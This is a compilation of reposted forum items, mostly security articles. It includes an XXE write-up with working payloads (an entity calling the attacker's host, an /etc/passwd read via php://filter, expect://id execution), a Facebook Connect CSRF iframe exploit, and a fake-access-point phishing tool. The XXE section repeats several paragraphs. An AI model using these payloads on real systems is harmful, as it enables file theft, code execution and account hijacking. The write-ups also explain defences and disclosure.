peachpy.c.Type("size_t")) # This optimized kernel will target Intel Nehalem processors. Any instructions which are not # supported on Intel Nehalem (e.g. AVX instructions) will generate an error. If you don't have # a particular target in mind, use "Unknown" with Function(assembler, "add_1", (src_argument, dst_argument, len_argument), "Nehalem"): # Load arguments into registers srcPointer = GeneralPurposeRegister64() LOAD.PARAMETER( srcPointer, src_argument ) dstPointer = GeneralPurposeRegister64() LOAD.PARAMETER( dstPointer, dst_argument ) length = GeneralPurposeRegister64() LOAD.PARAMETER( length, len_argument ) # Main processing loop. Length must be a multiple of 4. LABEL( 'loop' ) x = SSERegister() MOVDQU( x, [srcPointer] ) ADD( srcPointer, 16 ) # Add 1 to x PADDD( x, Constant.uint32x4(1) ) MOVDQU( [dstPointer], x ) ADD( dstPointer, 16 ) SUB( length, 4 ) JNZ( 'loop' ) RETURN() print assembler Sursa: https://bitbucket.org/MDukhan/peachpy

[h=3]Mystery signal from a helicopter[/h] Last night, YouTube suggested for me. It was a raw clip from a news helicopter filming a police chase in Kansas City, Missouri. I quickly noticed a weird interference in the audio, especially the left channel, and thought it must be caused by the chopper's engine. I turned up the volume and realized it's not interference at all, but a mysterious digital signal! And off we went again. The signal sits alone on the left audio channel, so I can completely isolate it. Judging from the spectrogram, the modulation scheme seems to be BFSK, switching the carrier between 1200 and 2200 Hz. I demodulated it by filtering it with a lowpass and highpass sinc in SoX and comparing outputs. Now I had a bitstream at 1200 bps. The bitstream consists of packets of 47 bytes each, synchronized by start and stop bits and separated by repetitions of the byte 0x80. Most bits stay constant during the video, but three distinct groups of bytes contain varying data, marked blue below: What could it be? Location telemetry from the helicopter? Information about the camera direction? Video timestamps? The first guess seems to be correct. It is supported by the relationship of two of the three byte groups. If the 4 first bits of each byte are ignored, the data forms a smooth gradient of three-digit numbers in base-10. When plotted parametrically, they form an intriguing winding curve. It is very similar to this plot of the car's position (blue, yellow) along with viewing angles from the helicopter (green), derived from the video by magical image analysis (only the first few minutes shown): When the received curve is overlaid with the car's location trace, we see that 100 steps on the curve scale corresponds to exactly 1 minute of arc on the map! Using this relative information, and the fact that the helicopter circled around the police station in the end, we can plot all the received data points in Google Earth to see the location trace of the helicopter: Update: Apparently the video downlink to ground was transmitted using a transmitter similar to Nucomm Skymaster TX that is able to send live GPS coordinates. And this is how they seem to do it. Posted by Oona Räisänen Sursa: absorptions: Mystery signal from a helicopter

https://www.youtube.com/watch?v=ZWM74Pf_Kd0 Old school Dedicatie pentru texan. :->

Exista astfel de persoane, persoane care abia termina facultatea (indiferent de notele obtinute) si se asteapta la salarii de mii de euro. In plus, daca te uiti pe CV-ul lor, nu o sa vezi niciun proiect si nicio actiune in care sa se fi implicat, astfel experienta 0. Sper ca voi sa fiti realisti, sa nu va luati muie urat de tot. Viata e grea. Chiar daca vedeti peste tot astfel de stiri, nu va asteptati sa sara lumea cu banii pe voi. Uitati-va singuri peste CV-ul vostru si ganditi din punctul de vedere al angajatorului. Intrebati-va cat ar merita cineva cu un CV ca al vostru. Eu am inceput cu 1600 RON si a fost ok, pentru ca am avut si oferte mai mici. Dar apoi a crescut, incet incet. Daca aveti rabdare si invatati, o sa fie mult mai usor in viitor. Si cand m-am angajat prima oara am aplicat pe la vreo 80 de firme, m-au sunat vreo 15 si eu chiar aveam destule proiecte in CV. De asemenea, daca sunteti angajati la o firma, nu sunteti platit bine, nu a fost nicio marire de salariu de mult timp si nici nu invatati mare lucru, sugestia mea e sa va cautati in alta parte de lucru. Nu e usor nici sa va gasiti de lucru. Poate va ganditi voi "Ba, eu sunt destept, ceilalti sunt prosti" dar veti vedea ca nu e chiar asa. Oricum, puteti fi Einstein al programarii, daca vine unu si cere mai putin decat voi, s-ar putea ca ala sa fie angajat. Stiu ca veneau persoane la interviuri care nu stiau ce e ala TCP si ce e ala UDP, care nu stiau sa dea un `cat` pe Linux si care nu puteau afisa numerele de pe diagonala principala a unei matrici patratice. Dar aveau pretentii salariale. Nu e bine nici sa fiti fraieri. Daca va descurcati la un interviu, cereti mai mult decat meritati. Daca nu se poate, exista posibilitatea sa va spuna "Nu va putem oferi atat, putem sa va oferim atat" sau sa va dea un sut in cur. Depind mai multe lucruri: despre ce firma e vorba, cum te-ai descurcat la interviu si cum s-au descurcat altii si foarte important, perioada in care vreti sa va angajati. Daca vreti sa va angajati in vara, ca sa vezi, si alti cateva mii de studenti vor sa faca acelasi lucru. Am mai fost la un interviu pe C++ la o firma si am stiut sa raspund perfect cam la toate intrebarile, care oricum erau banale, cu functii virtuale si alte lucruri simple si sincer, mi s-a parut ca stiu mai mult decat cei care imi luau interviul. Si nu m-au mai sunat. Apoi, am fost la un interviu pe C++ si algoritmica si m-am cam incurcat la partea de algoritmica (mai am de lucru la acest aspect) si ca sa vezi, m-au sunat si mi-au facut o oferta mai mare decat le cerusem eu. Un alt lucru ar fi urmatorul: daca de la inceput primiti un salariu mare, adica peste 30-35-40 de milioane, luati in calcul urmatoarea posibilitate: bre, astia nu cred ca o sa imi dea o marire prea curand. Apoi, mai trebuie luat in considerare si contractul, pentru ca s-ar putea sa nu puteti pleca vreo 2 ani de zile de la firma daca va plateste bine la inceput. Sugestie: cititi codul muncii, o sa va ajute. Cacat, am cam amestecat ideile, dar intelegeti voi ce am vrut sa spun.

Via?a la birou: 15 experien?e inevitabile prin care to?i trecem la locul de munc? | adevarul.ro

Cel mai dorit job din Romania: salariul urca la 6.000 de euro, somajul NU exista, mii de locuri raman neocupate Alice Gheorghe , 28 Jan 2014 Meseria de programator sta in fruntea listelor canalelor de recrutare, companiile duc lupte grele pentru a-i atrage si mentine pe specialisti, iar salariile de top pentru aceasta pozitie depasesc si de 10-15 de ori venitul mediu al romanilor. WALL-STREET.RO iti arata tot ce trebuie sa stii despre una dintre cele mai banoase si cu potential profesii din Romania. In piata din Romania sunt peste 60.000 de specialisti in domeniul IT, programatori fiind mai mult de jumatate dintre ei, potrivit datelor companiei de recrutare IT Temps. “Anual se creeaza aproximativ 5.000-6.000 de posturi noi, insa oferta de candidati este limitata la 2.000-3.000 de noi absolventi” a declarat pentru WALL-STREET.RO Gabriela Dan, CEO al Temps, companie de recrutare IT, parte a grupului Rinf Outsourcing Solutions. Mai departe, noile posturi deschise se inchid printr-o mobilitatea a candidatilor dintr-o companie in alta. Programatorii, cei mai cautati IT-isti Astfel, cea mai mare parte dintre job-uri disponibile in bazele de date ale agentiilor sau site-urilor de recrutare sunt cele din domeniul IT. La randul lor, acestea sunt dominate in general de pozitiile de programator. “40% din cererile de angajare pe zona de IT sunt pentru programatori”, a precizat Bogdan Florea, director general al companiei de recrutare Trenkwalder. “Avand in vedere boom-ul tehnologic din ultimii 5 ani, ce a adus in prim-plan limbaje de programare noi, meseria de programator ocupa un loc de top. Acest lucru se datoreaza nevoii de a crea aplicatii si platforme IT, ce vor inlocui sistemele clasice de informatii”, a explicat Cristina Savuica, sefa companiei de recrutare Lugera. Si in randul programatorilor exista un top in ceea ce priveste cele mai cautate specializari, iar in prezent pe piata locala sunt la mare cautare dezvoltatorii Java, urmati de C++ si Mobile (Android si IOS). “Programatorii de solutii enterprise sunt cei mai cautati, datorita anvergurii extinse pe care acest tip de proiecte o poate atinge. In ultima perioada Java Enterprise (J2EE) este un limbaj preferat pentru majoritatea acestor proiecte, secundat de catre solutiile Microsoft precum ASP .NET si .NET. De asemenea, observam o crestere rapida a nevoii de programatori cu experienta cel putin teoretica in servicii de tip Big Data sau Cloud. Conform unor studii LinkedIn, din 2008 nevoia a crescut de 3.440 ori pentru Big Data si 195 ori pentru Cloud services”, a detaliat Savuica. Cat castiga un programator in Romania Daca ai notiuni teoretice in domeniu solide si esti absolvent de automatica, cibernetica, informatica poti deja sa te gandesti la un salariu la care majoritatea romanilor nici nu viseaza. Sansele tale cresc daca inca din timpul facultatii te-ai implicat in proiecte de programare. In timp ce un incepator poate sa castige la primul job 500-600 de euro, ceea ce nu este deloc putin pentru piata locala, salariul unui profesionist in domeniu poate sa urce pana la 6.000 de euro lunar. “Un programator entry-level incepe de la un salariu mediu de 700 de euro, un junior in domeniu, cu 1-3 ani de experienta, castiga aproximativ 1.000 de euro, iar un specialist cu 3-6 ani de experienta urca la 2.000 de euro lunar. Seniorii ajung sa castige si 6.000 de euro pe luna”, au precizat reprezentantii companiei de recrutare Adecco. Astfel, intr-o piata cu tentatii mari, fluctuatia pe aceasta pozitie este destul de ridicata. “Avand in vedere ca piata ofera foarte multe "tentatii" la nivel financiar, este destul de greu sa retii oamenii in companie daca nu ai si programe de dezvoltare solide. Pe pozitiile de PHp, de exemplu, exista o fluctuatie foarte foarte mare, programatorii buni fiind sunati de cel putin doua ori pe saptamana de catre un posibil ofertant de job”, a mentionat Gabriela Dan, CEO al Temps. Developerii sunt momitii cu pachete financiare generoase la care se adauga diverse bonusuri, in functie de performanta. Cum te faci cautat pe aceasta piata “Un programator fara experienta trebuie sa acceseze cat mai multe cursuri si certificari on line. De asemenea, acesta trebuie sa isi constituie experienta prin inscriere pe site-uri consacrate de proiecte de programare, sa isi asume si sa duca la bun sfarsit proiecte mici, care insa contribuie la un cumul de experiente demonstrabile, project based”, sfatuiesc specialistii Adecco. De asemenea, importanta este si dobandirea cunostintelor de business necesare pentru a vedea impactul solutiilor dezvoltate atat pentru useri, cat si pentru business. “Este importanta dobandirea unei priviri de ansamblu asupra modului in care se integreaza diferitele arhitecturi de sisteme”, potrivit Lugera. Ce cauta angajatorii si nu gasesc Cei care se gandesc in prezent la o cariera in domeniul programarii trebuie sa stie ca sunt cateva specializari pentru care angajatorii gasesc cu greu candidatii potriviti. Recrutorii vorbesc despre o serie de specializari pe care le acopera cu greu, intre care programatorii Java, in special Java Mobile, C++ sau tehnologiile exotice de tip hadoop si magento. “Greu de acoperit sunt si specializarile cu salarii minime, pentru ca un specialist in IT vine si ramane la o companie daca aceasta are o reputatie buna, daca investeste in oameni, in certificari pentru acestia, daca le ofera acces la tehnologii performante”, spun specialistii Adecco. Specialistii romani sunt doriti si in afara O companie de top, experienta unui loc de munca intr-o alta cultura si, nu in ultimul rand, un salariu considerabil ii pot tenta pe tinerii care primesc o oferta din strainatate. “Unele companii straine ofera solutii colaborative de lucru la distanta, pentru a adresa nevoile echipelor distribuite de programatori. Companiile de peste hotare ofera oportunitati atractive si sunt dispuse sa ofere beneficii considerabile celor mai inovativi programatori. De obicei, se orienteaza catre cei mai inteligenti tineri absolventi de facultati sau targeteaza lideri inovativi cu o experienta rafinata in IT. Marii jucatori globali in tehnologie precum Google, Apple ii atrag pe tinerii programatori ce obtin performante outstading in diferitele consursuri, programe educationale si conferinte de IT pe care firmele le organizeaza online”, a explicat Cristina Savuica. Majoritatea tinerilor merg in afara pentru o experienta de cativa ani, avand mereu in plan reintoarcerea in tara. “Companiile mari, ca Google, Facebook, Apple, Microsoft atrag usor, datorita numelor din spate, si aici, insa programatorii romani nu se gandesc la o stabilire permanenta in extern, o fac pentru cativa ani, strang banii necesari pentru o independenta frumoasa in tara si revin pe plaiurile mioritice”, a precizat Gabriela Dan. Viitorul suna bine Fie ca aleg sa mearga in strainatate sau se specializeaza in tara, programatorii par sa aiba asigurat un loc de munca in urmatorii multi ani de zile. Piata este in continua crestere, iar in ciuda crizei economice, salariile raman la fel de bine platite. In 2014 majoritatea companiilor din domeniul IT vor angaja, potrivit datelor Temps. Dupa comunicatele transmise de catre aceste companii, iar cei mai mari angajatori vor fi Microsoft, Dell, Endava, Luxoft, IBM, Oracle, Deutsche Bank. Mai mult, un aspect important pentru acest domeniu este ca statul roman a oferit un plan de ajutor catre sapte companii care au in plan sa angajeze aproximativ 1.000 de programatori anul acesta in Romania, printre care Microsoft, Dell si Deutsche Bank. Sursa: Cel mai dorit job din Romania: salariul urca la 6.000 de euro, somajul NU exista, mii de locuri raman neocupate

Really nice video collection. Sticky.

Vanzarile se fac la RST Market doar de catre persoane care au 50+ posturi. Ban o saptamana.

Applying Artificial Intelligence to Nintendo Tetris Abstract In this article, I explore the deceptively simple mechanics of Nintendo Tetris. Afterwards, I describe how to build an AI that exploits them. Table of Contents Abstract Table of Contents Try It Yourself About Preliminaries Download Run Configuration The Mechanics of Nintendo Tetris Representing Tetriminos Rotating Tetriminos Spawning Tetriminos Picking Tetriminos Shifting Tetriminos Dropping Tetriminos Slides and Spins Level 30 and Beyond Lines and Statistics Coloring Tetriminos Game Mode Legal Screen Demo The Kill Screen Endings 2 Player Versus Music and Sound Effects Play States and Render Modes The Algorithm Overview Searching for Lock Evaluation Function Other Factors AI Training Java Version About Packages AI Classes and Interfaces Invoking the AI Displaying the Playfield Other Projects Gamepad Version Try It Yourself About For those lacking the persistence, patience and time necessary to master Nintendo Tetris, I created an AI to play it for you. Finally, you can experience level 30 and beyond. You can witness the score max out while the line, level and statistics counters wraparound indefinitely. Find out what colors appear in levels higher than any human has ever reached. Discover how long it can go. Preliminaries To run the AI, you'll need FCEUX, the all-in-one NES/Famicom emulator. The AI was developed for FCEUX 2.2.2, the most recent version at the time of this writing. You'll also need the Nintendo Tetris ROM file (USA version). Google might be able to help you to track it down. Download Extract lua/NintendoTetrisAI.lua from this source zip. Run Start up FCEUX. From the menu bar, select File | Open ROM... In the Open File dialog box, select the Nintendo Tetris ROM file and press Open. The game will launch. From the menu bar, select File | Lua | New Lua Script Window... From the Lua Script window, enter the path to NintendoTetrisAI.lua or hit the Browse button to navigate to it. Finally, press Run. The Lua script will direct you to the first menu screen. Leave the game type as A-Type, but feel free to change the music using the arrow keys. On slower computers, the music may play choppy; you might want to disable it completely. Press Start (Enter) to advance to the next menu screen. In the second menu, you can change the starting level using the arrow keys. Press Start to begin the game. The AI will take over from there. From the second menu screen, after you select the level, if you hold down gamepad button A (use Config | Input... to modify the keyboard mapping) and press Start, the resulting starting level will be 10 plus the selected value. The highest starting level is 19. Articol: Applying Artificial Intelligence to Nintendo Tetris

This is a project I started to learn C code. injdmp detects injected processes via searching memory marked as RWX, DLLs loaded using the registry values AppInit_DLLs & AppCertDlls, dummy processes and MZ headers in memory marked as . In the extra dir there is some code for detecting threads running in memory space marked as RWX. See the website for usage details. Disclaimer: Use at your own risk. OwnerAlexander Hanel Websitehttp://hooked-on-mne… Size 100.7 KB (download) Sursa: https://bitbucket.org/Alexander_Hanel/injdmp

Static Analysis by Elimination Pavle Subotic1 , Andrew E. Santosa2 , and Bernhard Scholz Uppsala University, Sweden 2 Oracle Labs, Australia University of Sydney, Australia Abstract. In the past, elimination-based data flow analysis algorithms have been proposed as an alternative to iterative algorithms for solving dataflow problems. Elimination-based algorithms exhibit a better worst-case runtime performance than iterative algorithms. However, the implementation of elimination-based al- gorithms is more challenging and iterative algorithms have been sufficient for solving standard data-flow problems in compilers. For more generic abstract in- terpretation frameworks, it has not been explored whether elimination-based al- gorithms are useful. In this paper we show that elimination-based algorithms are useful for implementing abstract interpretation frameworks for low-level pro- gramming languages. We demonstrate the feasibility of our approach by a range analysis developed in the LLVM framework. We supplement this work by a range of experiments conducted through several test suites. Download: http://user.it.uu.se/~pasu4571/bytecode13.pdf

Defending Against Tor-Using Malware, Part 1 11:48 pm (UTC-7) | by Jay Yaneza (Technical Support) In the past few months, the Tor anonymity service as been in the news for various reasons. Perhaps most infamously, it was used by the now-shuttered Silk Road underground marketplace. We delved into the topic of the Deep Web in a white paper titled Deepweb and Cybercrime. In our 2014 predictions, we noted that cybercriminals would go deeper underground – and part of that would be using Tor in greater numbers. Cybercriminals are clearly not blind to the potential of Tor, and network administrators have to consider that Tor-using malware might show up on their network. How should they react to this development? What’s Tor, anyway? Tor is designed to solve a fairly specific problem: to stop a man-in-the-middle (such as network administrators, ISPs, or even countries) from determining or blocking the sites that a user visits. How does it do this? Previously known as “The Onion Router”, Tor is an implementation of the concept of onion routing, where a number of nodes located on the Internet that serve as relays for Internet traffic. A user who wants to use the Tor network would install a client on their machine. This client would contact a Tor directory server, where it gets a list of nodes. The user’s Tor client would select a path for the network traffic via the various Tor nodes to the destination server. This path is meant to be difficult to follow. In addition, all traffic between nodes is encrypted. (More details about Tor may be found at the official website of the Tor project.) In effect, this hides your identity (or at least, IP address) from the site you visited, as well as any potential attackers inspecting your network traffic along the way. This is quite useful if you’re a visitor who wants to cover your tracks or if, for some reason, the server that you’re trying to connect to denies connections from your IP address. This can be done for both legitimate and illegitimate reasons. Unfortunately, this means that it can and has already been used for malicious purposes. How can it be used maliciously? Malware can just as easily use Tor as anyone else. In the second half of 2013, we saw more malware making use of it to hide their network traffic. In September, we blogged about the Mevade malware that downloaded a Tor component for backup command and control (C&C) communication. In October 2013, Dutch police arrested four persons behind the TorRAT malware, a malware family which also used Tor for its C&C communication. This malware family targeted the bank accounts of Dutch users, and investigation was difficult because of the use of underground crypting services to evade detection and the use of cryptocurrencies (like Bitcoin). In the last weeks of 2013, we saw some ransomware variants that called itself Cryptorbit that explicitly asked the victim to use the Tor Browser (a browser bundle pre-configured for Tor) when paying the ransom. (The name may have been inspired by the notorious CryptoLocker malware, which uses similar behavior.) Figure 1. Warning from Tor-using ransomware Earlier this month, we discussed several ZBOT samples that in addition to using Tor for its C&C connection, also embeds its 64-bit version ”inside” the normal, 32-bit version. Figure 2. Running 64-bit ZBOT malware This particular malware runs perfectly in a 64-bit environment and is injected into the running svchost.exe process, as is typically the case with injected malware. This increase in Tor-using malware means that network administrators may want to consider additional steps to be aware of Tor, how to spot its usage, and (if necessary) prevent its use. Illegitimate usage of Tor could result in various problems, ranging from circumvented IT policies to exfiltrated confidential information. We will discuss these potential steps in a succeeding blog post. Sursa: Defending Against Tor-Using Malware, Part 1 | Security Intelligence Blog | Trend Micro

[h=2]PwnSTAR: Pwn SofT Ap scRipt[/h] A bash script to launch a Fake AP, configurable with a wide variety of attack options. Includes a number of index.html and server php scripts, for sniffing and phishing. It can act as multi-client captive portal using php and iptables, Launches classic exploits such as evil-PDF. Features takes care of configuration of interfaces, macspoofing, airbase-ng and isc-dhcp-server steals WPA handshakes phishes email credentials serves webpages: supplied (eg hotspot, below) or provide your own sniffing with ferret and sslstrip adds a captive portal to the frontend of the fake AP assorted exploits de-auth with MDK3, aireplay-ng or airdrop-ng Use your imagination, craft your own webpages, and have fun. You can download the pwnstar script from here and save in your desktop Sursa: Hacking Articles|Raj Chandel's Blog: PwnSTAR: Pwn SofT Ap scRipt

Detecting Custom Memory Allocators in C Binaries Xi Chen Asia Slowinska Herbert Bos Vrije Universiteit Amsterdam, The Netherlands Abstract—Many reversing techniques for data structures rely on the knowledge of memory allocation routines. Typically, they interpose on the system’s malloc and free functions, and track each chunk of memory thus allocated as a data structure. How- ever, many performance-critical applications implement their own custom memory allocators. Examples include webservers, database management systems, and compilers like gcc and clang. As a result, current binary analysis techniques for tracking data structures fail on such binaries. We present MemBrush, a new tool to detect memory allocation and deallocation functions in stripped binaries with high accu- racy. We evaluated the technique on a large number of real world applications that use custom memory allocators. As we show, we can furnish existing reversing tools with detailed information about the memory management API, and as a result perform an analysis of the actual application specific data structures designed by the programmer. Our system uses dynamic analysis and detects memory allocation and deallocation routines by searching for functions that comply with a set of generic characteristics of allocators and deallocators. Download: http://www.cs.vu.nl/~herbertb/papers/membrush_wcre13.pdf

Revisting XXE and abusing protocols Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable. The basic premise behind the vulnerability is that when a user authenticates with a site using OpenID, that site does a 'discovery' of the user's identity. To accomplish this the server contacts the identity server specified by the user, downloads information regarding the identity endpoint and proceeds with authentication. There are two ways that a site may do this discovery process, either through HTML or a YADIS discovery. Now this is where it gets interesting, HTML look-up is simply a HTML document with some meta information contained in the head tags: <head> <link rel="openid.server" href="http://www.example.com/myendpoint/" /> <link rel="openid2.provider" href="http://www.example.com/myendpoint/" /> </head> Whereas the Yadis discovery relies on a XRDS document: <xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>http://198.x.x.143:7804:/raw</URI> <openid:Delegate>http://198.x.x.143:7804/delegate</openid:Delegate> </Service> </XRD> </xrds:XRDS> Now if you have been paying attention the potential for exploitation should be jumping out at you. XRDS is simply XML and as you may know, when XML is used there is a good chance that an application may be vulnerable to exploitation via XML External Entity (XXE) processing. XXE is explained by OWASP and I'm not going to delve into it here, but the basic premise behind it is that you can specify entities in the XML DTD that when processed by an XML parser get interpreted and 'executed'. From the description given by Reginaldo the vulnerability would be triggered by having the victim (Facebook) perform the YADIS discovery to a host we control. Our host would serve a tainted XRDS and our XXE would be triggered when the document was parsed by our victim. I whipped together a little PoC XRDS document that would cause the target host to request a second file (198.x.x.143:7806/success.txt) from a server under my control. I ensured that the tainted XRDS was well formed XML and would not cause the parser to fail (a quick check can be done by using XML Validation: XML Validation) <?xml version="1.0" standalone="no"?> <!DOCTYPE xrds:XRDS [ <!ELEMENT xrds:XRDS (XRD)> <!ATTLIST xrds:XRDS xmlns:xrds CDATA "xri://$xrds"> <!ATTLIST xrds:XRDS xmlns:openid CDATA "http://openid.net/xmlns/1.0"> <!ATTLIST xrds:XRDS xmlns CDATA "xri://$xrd*($v*2.0)"> <!ELEMENT XRD (Service)*> <!ELEMENT Service (Type,URI,openid:Delegate)> <!ATTLIST Service priority CDATA "0"> <!ELEMENT Type (#PCDATA)> <!ELEMENT URI (#PCDATA)> <!ELEMENT openid:Delegate (#PCDATA)> <!ENTITY a SYSTEM 'http://198.x.x.143:7806/success.txt'> ]> <xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>http://198.x.x.143:7806/raw.xml</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>&a;</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> </XRD> </xrds:XRDS> In our example the fist <Service> element would parse correctly as a valid OpenID discovery, while the second <Service> element contains our XXE in the form of <URI>&a;</URI>. To test this we set spun up a standard LAMP instance on DigitalOcean and followed the official installation instructions for a popular, OpenSource, Social platform that allowed for OpenID authentication. And then we tried out our PoC. "Testing for successful XXE" It worked! The initial YADIS discovery (orange) was done by our victim (107.x.x.117) and we served up our tainted XRDS document. This resulted in our victim requesting the success.txt file (red). So now we know we have some XXE going on. Next we needed to turn this into something a little more useful and emulate Reginaldo's Facebook success. A small modification was made to our XXE payload by changing the Entity description for our 'a' entity as follows: <!ENTITY a SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>. This will cause the PHP filter function to be applied to our input stream (the file read) before the text was rendered. This served two purposes, firstly to ensure the file we were reading to introduce any XML parsing errors and secondly to make the output a little more user friendly. The first run with this modified payload didn't yield the expected results and simply resulted in the OpenID discovery being completed and my browser trying to download the identity file. A quick look at the URL, I realised that OpenID expected the identity server to automatically instruct the user's browser to return to the site which initiated the OpenID discovery. As I'd just created a simple python web server with no intelligence, this wasn't happening. Fortunately this behaviour could be emulated by hitting 'back' in the browser and then initiating the OpenID discovery again. Instead of attempting a new discovery, the victim host would use the cached identity response (with our tainted XRDS) and the result was returned in the URL. "The simple python webserver didn't obey the redirect instruction in the URL and the browser would be stuck at the downloaded identity file." "Hitting the back button and requesting OpenID login again would result in our XXE data being displayed in the URL." Finally all we needed to do was base64 decode the result from the URL and we would have the contents of /etc/passwd. "The decoded base64 string yielded the contents of /etc/passwd" This left us with the ability to read *any* file on the filesystem, granted we knew the path and that the web server user had permissions to access that file. In the case of this particular platform, an interesting file to read would be config.php which yields the admin username+password as well as the mysql database credentials. The final trick was to try and turn this into RCE as was hinted in the Facebook disclosure. As the platform was written in PHP we could use the expect:// handler to execute code. <!ENTITY a SYSTEM 'expect://id'>, which should execute the system command 'id'. One dependency here is that the expect module is installed and loaded (PHP: Installation - Manual). Not too sure how often this is the case but other attempts at RCE haven't been too successful. Armed with our new XRDS document we reenact our steps from above and we end up with some code execution. "RCE - retrieving the current user id" And Boom goes the dynamite. This left us with the ability to read *any* file on the filesystem, granted we knew the path and that the web server user had permissions to access that file. In the case of this particular platform, an interesting file to read would be config.php which yields the admin username+password as well as the mysql database credentials. The final trick was to try and turn this into RCE as was hinted in the Facebook disclosure. As the platform was written in PHP we could use the expect:// handler to execute code. <!ENTITY a SYSTEM 'expect://id'>, which should execute the system command 'id'. One dependency here is that the expect module is installed and loaded (PHP: Installation - Manual). Not too sure how often this is the case but other attempts at RCE haven't been too successful. Armed with our new XRDS document we reenact our steps from above and we end up with some code execution. "RCE - retrieving the current user id" And Boom goes the dynamite. All in all a really fun vulnerability to play with and a good reminder that data validation errors don't just occur in the obvious places. All data should be treated as untrusted and tainted, no matter where it originates from. To protect against this form of attack in PHP the following should be set when using the default XML parser: libxml_disable_entity_loader(true); A good document with PHP security tips can be found here: Injection Attacks — Survive The Deep End: PHP Security :: v1.0a1 ./et - See more at: SensePost Blog And Boom goes the dynamite. All in all a really fun vulnerability to play with and a good reminder that data validation errors don't just occur in the obvious places. All data should be treated as untrusted and tainted, no matter where it originates from. To protect against this form of attack in PHP the following should be set when using the default XML parser: libxml_disable_entity_loader(true); A good document with PHP security tips can be found here: Injection Attacks — Survive The Deep End: PHP Security :: v1.0a1 Sursa: SensePost Blog

The World's Worst Penetration Test Report by #ScumbagPenTester "MySQL configured to allow connections from 127.0.0.1. Recommend configuration change to not allow remote connections." "Fixing the configuration will no longer allow evil connections by evil connection for configuration of server."

[h=3]Two "WontFix" vulnerabilities in Facebook Connect[/h] TL;DR Every website with "Connect Facebook account and log in with it" is vulnerable to account hijacking. Every website relying on signed_request (for example official JS SDK) is vulnerable to account takeover, as soon as an attacker finds a 302 redirect to other domain. I don't think these will be fixed, as I've heard from the Facebook team that it will break compatibility. I really wish they would fix it though as you can see below, I feel these are serious issues. I understand the business reasons why they might choose so, but from my perspective when you have to choose between security and compatibility, the former is the right bet. Let me quickly describe what these bugs are and how you can protect your websites. CSRF on facebook.com login to hijack your identity. It's higher level Most-Common-OAuth-Vulnerability (we attached Attacker's Social Account to Victim's Client Account) but here even Clients using "state" to prevent CSRF are vulnerable. <iframe name="playground" src='data:text/html,<form id="genform" action="https://www.facebook.com/login.php" method="POST"><input type="hidden" name="email" value="homakov@gmail.com"><input type="hidden" name="pass" value="password"></form><script>genform.submit()</script>'></iframe> FYI we need data: trick to get rid of Referer header, Facebook rejects requests with cross domain Referers. This form logs victim in attacker's arbitrary account (even if user is already logged in, logout procedure is trivial). Now to all OAuth flows Facebook will respond with Attacker's profile information and Attacker's uid. Every website with "Connect your Facebook to main account to login faster" functionality is vulnerable to account hijacking as long as attacker can replace your identity on Facebook with his identity and connect their Facebook account to victim's account on the website just loading CLIENT/fb/connect URL. Once again: even if we cannot inject our callback with our code because of state-protection, we can re-login user to make Facebook do all the work for us! Almost all server-side libraries and implementations are "vulnerable" (they are not, it's Facebook who's vulnerable!) : omniauth, django-social-auth, etc. And yeah, official facebook-php-sdk. (By the way, I found 2 bugs in omniauth-facebook: state fixation, authentication bypass. Update if you haven't yet.) Mitigation: require CSRF token for adding a social connection. E.g. instead of /connect/facebook use /connect/facebook?authenticity_token=123qwe. It will make it impossible for an attacker to start the process by himself. Facebook JS SDK and #signed_request Since "redirect_uri" is flexible on Connect since its creation, Facebook engineers made it a required parameter to obtain "access_token" for issued "code". If the code was issued for a different (spoofed) redirect_uri, provider will respond with mismatch-error. signed_request is special non-standard transport created by Facebook. It carries "code" as well, but this code is issued for an empty redirect_uri = "". Furthermore, signed_request is sent in a #fragment, so it can be leaked easily with any 302 redirect to attacker's domain. And guess what — the redirect can even be on a subdomain. of our target! Attack surface gets so huge, no doubt you can find a redirecting endpoint on any big website. Basically, signed_request is exactly what "code" flow is, but with Leak-protection turned off. All you need is to steal victim's signed_request with a redirect to your domain (slice it from location.hash), then open the Client website, put it in the fbsr_CLIENT_ID cookie and hit client's authentication endpoint. Finally, you're logged in as the owner of that signed_request. It's just like when you steal username+password. Mitigation: it's hard to get rid from all the redirects. For example Facebook clients like soundcloud, songkick, foursquare are at the same time OAuth providers too, so they have to be able to redirect to 3rd party websites. Each redirect to their "sub" clients is also a threat to leak Facebook's token. Well, you can try to add #_=_ to "kill" fragment part.. It's better to stop using signed_request (get rid of JS SDK) and start using (slightly more) secure code-flow with protections I mentioned above. Conclusion In my opinion I'd recommend not using Facebook Connect in critical applications (nor with any other OAuth provider). Perhaps it's suitable quick login for a funny social game but never for a website with important data. Use oldschool passwords instead. If you must use Facebook Connect, I recommend whitelisting your redirect_uri in app's settings and requiring user interaction (clicking some button) to start adding a new connection. I really hope Facebook will change their mind, to stay trustworthy identity provider. Author: Egor Homakov on 10:27 PM Sursa: Egor Homakov: Two "WontFix" vulnerabilities in Facebook Connect

